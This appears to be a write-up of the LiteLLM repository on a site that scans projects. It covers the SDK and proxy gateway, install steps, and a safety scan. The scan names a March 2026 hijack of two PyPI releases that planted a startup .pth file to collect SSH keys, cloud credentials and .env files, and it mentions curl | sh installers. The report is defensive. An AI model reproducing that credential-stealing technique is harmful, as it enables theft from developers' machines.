LiteLLM: One API for 100+ Language Models (GitHub, Scanned)

LiteLLM papers over the differences between model providers. As a Python library, one completion() call reaches OpenAI, Anthropic, Gemini, Bedrock, Azure, Vertex AI, Ollama, vLLM and more than 100 others with the same request format, the same response format and the same error types, so switching providers is a change to a model string. It adds retries and fallbacks across deployments and tracks the cost of each call.

As a proxy server, which the project calls its AI gateway, it puts that interface behind one OpenAI-compatible endpoint for a whole team. Admins hand out virtual keys with budgets and rate limits, track spend per user and project, apply guardrails and caching, and watch it all from a dashboard, while applications keep using the stock OpenAI SDK with a different base URL. It can also front MCP servers and A2A agents.

LiteLLM is built by BerriAI and has about 60,000 stars. Code outside the enterprise folder is MIT licensed; features such as SSO sit under a commercial licence. Other projects on this list use it to reach models, PR-Agent among them.

• Repository: github.com/BerriAI/litellm
• Licence: custom (Other)
• Language: Python. Stars: 60.1K. Forks: 12K. Last push: Oct 3, 2026.
• Scan: safe, Oct 3, 2026, commit 09313bc

Who it is for

Python developers who want to swap or mix model providers without rewriting code, and platform teams who need one controlled gateway for every model their company uses, with keys, budgets and logs in one place.

Getting started

1. Add the Python SDK to a project (pip install litellm also works)

uv add litellm

2. Call any provider with the same function, with its key in the environment

python -c "from litellm import completion; print(completion(model='anthropic/claude-sonnet-4-20250514', messages=[{'role':'user','content':'Hello!'}]))"

3. Or run the gateway, an OpenAI-compatible server on port 4000

uv tool install 'litellm[proxy]' && litellm --model gpt-4o

Provider keys go in environment variables such as OPENAI_API_KEY and ANTHROPIC_API_KEY, and each provider bills its own calls. For a shared gateway, set a master key: the project's security policy treats a proxy run without one as a misconfiguration, not a bug. For production the README recommends Docker images with the -stable tag, which can be verified with cosign. Never install 1.82.7 or 1.82.8: those two PyPI releases were hijacked in March 2026 to steal credentials.

Safety scan

We cloned BerriAI/litellm at commit 09313bc on Oct 3, 2026 and ran the checks described on the GitHub Tools page: credential patterns, decode-and-execute code, install-time scripts, committed binaries, risky CI workflows, every host the code talks to, known vulnerabilities in pinned dependencies, and project hygiene. A person read every hit. This is what we found.

• Confirmed supply-chain incident: on March 24, 2026, attackers used a PyPI token exposed through the compromised Trivy scanner in LiteLLM's CI to publish litellm 1.82.7 and 1.82.8 (advisories GHSA-5mg7-485q-xm76 and PYSEC-2026-2). Version 1.82.8 added a litellm_init.pth file that ran on every Python start and collected SSH keys, cloud and Kubernetes credentials and .env files. Both were pulled within about three hours. If either was ever installed, rotate every credential that machine could reach. The commit scanned here is from October 2026, and the README now explains how to verify Docker images with cosign.
• No committed binaries across 13,077 files and about 3.6 million lines, 2.7 million of them Python. The 39 secret hits are fixtures: AWS-format placeholder keys in Bedrock and SageMaker tests, PEM placeholders in OCI, MCP and Vault tests, a redaction test's AKIAABCDEFGHIJKLMNOP, and a Slack webhook example made of X's in a field description. The 29 bare-IP URLs are SSRF and URL-validation tests using 8.8.8.8, 1.1.1.1, 93.184.216.34 and documentation ranges.
• Pattern hits: scripts/install.sh, install-cli.sh and quickstart.sh are the project's own curl | sh installers, which fetch uv from astral.sh if it is missing; the webhook.site URLs are router tests; the rest are long lines in test data and a guardrail test that contains a dangerous-looking command on purpose.
• Most of the 58 known advisories sit outside what you install: two test lockfiles (19 each), the Terraform provider's Go modules (10) and the Rust crates (9). The one critical and one high are LiteLLM's own host-header and MCP authentication bypasses, listed because a cookbook example pins the old 1.83.14. uv.lock, the real Python dependency set of 459 packages, has two (one high, an MLflow SSRF). Separately, OSV lists 17 LiteLLM advisories published between April and September 2026, including SQL injection in API-key checks and authentication bypasses, so run the proxy on a current release.
• 54 workflows. The only pull_request_target one, cost-map-guard.yml, runs the base branch's code with read-only permissions and reads the PR's pricing files as data. All 32 third-party actions are pinned to commits. Security policy with a bug bounty, Dependabot, CodeQL, licence and contributing guide present; OpenSSF Scorecard 6.1. The policy treats running the proxy without a master_key as a misconfiguration rather than a vulnerability.

What the scanner counted

The raw findings

Every hit the scanner wrote out, with a link to the exact line at the scanned commit. Secrets candidates are redacted.

By the numbers

Lines by language: Python 2.7M, TypeScript 433.7K, JSON 169.8K, Rust 145K, YAML 33.2K, Markdown 26K.

Questions

Is LiteLLM free?

The SDK and the proxy are MIT licensed outside the enterprise directory, and that free part includes virtual keys, spend tracking, load balancing and the admin UI. An enterprise licence adds features such as SSO, custom SLAs and professional support, and BerriAI also offers a hosted proxy. Model usage is billed by the providers either way.

What is the difference between the LiteLLM SDK and the proxy?

The SDK is a Python library you call from your own code. The proxy is a standalone server that exposes an OpenAI-compatible API, so any language or tool that speaks OpenAI can use it, and it adds what a shared service needs: keys, budgets, rate limits, logging and a dashboard.

Can LiteLLM route to local models?

Yes. Ollama, vLLM, NVIDIA NIM and other OpenAI-compatible servers are supported providers, so one gateway can mix local models with hosted ones and fall back from one to another.

This post is part of GitHub Tools, where every repository is cloned and scanned before it is written up. The scan is a snapshot of one commit on one day; the repository has moved on since, so check it before you install.